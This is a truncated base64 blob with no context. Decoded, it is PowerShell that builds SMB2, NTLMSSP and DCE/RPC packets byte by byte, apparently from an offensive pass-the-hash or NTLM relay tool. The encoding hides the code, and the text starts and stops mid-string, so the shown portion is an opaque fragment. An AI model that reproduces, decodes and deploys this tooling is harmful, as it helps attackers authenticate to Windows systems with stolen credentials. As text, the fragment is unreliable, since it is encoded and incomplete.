5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkNsb3NlUmVxdWVzdC5BZGQoIlNNQjJDbG9zZVJlcXVlc3RfRmlsZUlEIiwkcGFja2V0X2ZpbGVfSUQpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJUcmVlRGlzY29ubmVjdFJlcXVlc3QuQWRkKCJTTUIyVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CMlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CMlNlc3Npb25Mb2dvZmZSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3QuQWRkKCJTTUIyU2Vzc2lvbkxvZ29mZlJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgwNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQjJTZXNzaW9uTG9nb2ZmUmVxdWVzdA0KfQ0KDQojTlRMTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0TlRMTVNTUE5lZ290aWF0ZSgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25lZ290aWF0ZV9mbGFncyxbQnl0ZVtdXSRwYWNrZXRfdmVyc2lvbikNCg0KICAgIFtCeXRlW11dJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoMzIgKyAkcGFja2V0X3ZlcnNpb24uTGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAzMg0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzIgPSAkcGFja2V0X05UTE1TU1BfbGVuZ3RoWzBdICsgMjINCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gJHBhY2tldF9OVExNU1NQX2xlbmd0aFswXSArIDIwDQogICAgW0J5dGVbXV0kcGFja2V0X0FTTl9sZW5ndGhfNCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMF0gKyAyDQoNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSW5pdGlhbENvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweDYwKSkgIyB0aGUgQVNOLjEga2V5IG5hbWVzIGFyZSBsaWtlbHkgbm90IGFsbCBjb3JyZWN0DQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbml0aWFsY29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1RoaXNNZWNoSUQiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfVGhpc01lY2hMZW5ndGgiLFtCeXRlW11dKDB4MDYpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfT0lEIixbQnl0ZVtdXSgweDJiLDB4MDYsMHgwMSwweDA1LDB4MDUsMHgwMikpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9Jbm5lckNvbnRleHRUb2tlbklEIixbQnl0ZVtdXSgweGEwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0lubmVyQ29udGV4dFRva2VuTGVuZ3RoMiIsJHBhY2tldF9BU05fbGVuZ3RoXzMpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNJRCIsW0J5dGVbXV0oMHhhMCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9NZWNoVHlwZXNMZW5ndGgiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQyIixbQnl0ZVtdXSgweDMwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDIiLFtCeXRlW11dKDB4MGMpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGVzSUQzIixbQnl0ZVtdXSgweDA2KSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lY2hUeXBlc0xlbmd0aDMiLFtCeXRlW11dKDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFR5cGUiLFtCeXRlW11dKDB4MmIsMHgwNiwweDAxLDB4MDQsMHgwMSwweDgyLDB4MzcsMHgwMiwweDAyLDB4MGEpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuSUQiLFtCeXRlW11dKDB4YTIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfTWVjaFRva2VuTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfNCkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05UTE1TU1BJRCIsW0J5dGVbXV0oMHgwNCkpDQogICAgJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlLkFkZCgiTlRMTVNTUE5lZ290aWF0ZV9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUE5lZ290aWF0ZS5BZGQoIk5UTE1TU1BOZWdvdGlhdGVfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX01lc3NhZ2VUeXBlIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX05lZ290aWF0ZUZsYWdzIiwkcGFja2V0X25lZ290aWF0ZV9mbGFncykNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX0NhbGxpbmdXb3Jrc3RhdGlvbk5hbWUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICBpZigkcGFja2V0X3ZlcnNpb24pDQogICAgew0KICAgICAgICAkcGFja2V0X05UTE1TU1BOZWdvdGlhdGUuQWRkKCJOVExNU1NQTmVnb3RpYXRlX1ZlcnNpb24iLCRwYWNrZXRfdmVyc2lvbikNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9OVExNU1NQTmVnb3RpYXRlDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXROVExNU1NQQXV0aCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X05UTE1fcmVzcG9uc2UpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfTlRMTVNTUF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGgpDQogICAgJHBhY2tldF9OVExNU1NQX2xlbmd0aCA9ICRwYWNrZXRfTlRMTVNTUF9sZW5ndGhbMSwwXQ0KICAgIFtCeXRlW11dJHBhY2tldF9BU05fbGVuZ3RoXzEgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfTlRMTV9yZXNwb25zZS5MZW5ndGggKyAxMikNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMSA9ICRwYWNrZXRfQVNOX2xlbmd0aF8xWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8yID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgOCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMiA9ICRwYWNrZXRfQVNOX2xlbmd0aF8yWzEsMF0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfQVNOX2xlbmd0aF8zID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X05UTE1fcmVzcG9uc2UuTGVuZ3RoICsgNCkNCiAgICAkcGFja2V0X0FTTl9sZW5ndGhfMyA9ICRwYWNrZXRfQVNOX2xlbmd0aF8zWzEsMF0NCg0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGggPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05JRCIsW0J5dGVbXV0oMHhhMSwweDgyKSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQyIixbQnl0ZVtdXSgweDMwLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgyIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQzIixbQnl0ZVtdXSgweGEyLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgzIiwkcGFja2V0X0FTTl9sZW5ndGhfMykNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfTlRMTVNTUElEIixbQnl0ZVtdXSgweDA0LDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNUmVzcG9uc2UiLCRwYWNrZXRfTlRMTV9yZXNwb25zZSkNCg0KICAgIHJldHVybiAkcGFja2V0X05UTE1TU1BBdXRoDQp9DQoNCiNSUEMNCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0JpbmQoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9tYXhfZnJhZyxbQnl0ZVtdXSRwYWNrZXRfbnVtX2N0eF9pdGVtcyxbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9JRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRF92ZXJzaW9uKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X2NhbGxfSURfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfY2FsbF9JRCkNCg0KICAgICRwYWNrZXRfUlBDQmluZCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDBiKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldEZsYWdzIixbQnl0ZVtdXSgweDAzKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9GcmFnTGVuZ3RoIixbQnl0ZVtdXSgweDQ4LDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aExlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEX2J5dGVzKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTWF4WG1pdEZyYWciLFtCeXRlW11dKDB4YjgsMHgxMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0Fzc29jR3JvdXAiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtQ3R4SXRlbXMiLCRwYWNrZXRfbnVtX2N0eF9pdGVtcykNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtcyIsW0J5dGVbXV0oMHgwMSkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UiLCRwYWNrZXRfVVVJRCkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlciIsJHBhY2tldF9VVUlEX3ZlcnNpb24pDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4IixbQnl0ZVtdXSgweDA0LDB4NWQsMHg4OCwweDhhLDB4ZWIsMHgxYywweGM5LDB4MTEsMHg5ZiwweGU4LDB4MDgsMHgwMCwweDJiLDB4MTAsMHg0OCwweDYwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyIixbQnl0ZVtdXSgweDAyLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIGlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4YzQsMHhmZSwweGZjLDB4OTksMHg2MCwweDUyLDB4MWIsMHgxMCwweGJiLDB4Y2IsMHgwMCwweGFhLDB4MDAsMHgyMSwweDM0LDB4N2EpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgyYywweDFjLDB4YjcsMHg2YywweDEyLDB4OTgsMHg0MCwweDQ1LDB4MDMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4NDMsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweGMwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NDYpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgzMywweDA1LDB4NzEsMHg3MSwweGJhLDB4YmUsMHgzNywweDQ5LDB4ODMsMHgxOSwweGI1LDB4ZGIsMHhlZiwweDljLDB4Y2MsMHgzNikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMzIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duNCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMyIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjMiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgzIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjMiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDQpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElENCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dGVbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICBpZigkcGFja2V0X2NhbGxfSUQgLWVxIDMpDQogICAgew0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dG